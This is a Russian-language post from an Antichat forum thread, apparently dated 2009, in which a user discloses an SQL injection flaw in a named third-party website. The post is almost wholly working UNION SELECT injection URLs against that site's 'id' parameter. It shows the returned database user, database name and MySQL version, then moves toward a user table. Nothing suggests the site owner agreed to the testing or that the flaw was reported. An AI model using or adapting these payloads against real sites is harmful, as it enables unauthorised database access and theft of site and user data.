SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

#11

02.05.2009, 12:40

BlackPanther

Новичок

Регистрация: 19.04.2009

Сообщений: 15

С нами: 8979768

Репутация: 10

Site:

Код:

http://www.canadiansoftwood.com/

SQL -
Уязвимый параметр:

Код:

http://www.canadiansoftwood.com/index.php?mode=news&id=1

Код:

http://www.canadiansoftwood.com/index.php?mode=news&id=-1+union+select+1,CONCAT_WS(CHAR(32,58,32),user(),database(),%20version()),3,4,5,6--

csidb1@localhost : mysql : 4.1.14
Таблица:

Код:

http://www.canadiansoftwood.com/index.php?mode=news&id=-1+union+select+1,CONCAT_WS(CHAR(32,58,32),user(),database(),%20version()),3,4,5,6+from+user--

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

Загрузка...

Загрузка чата...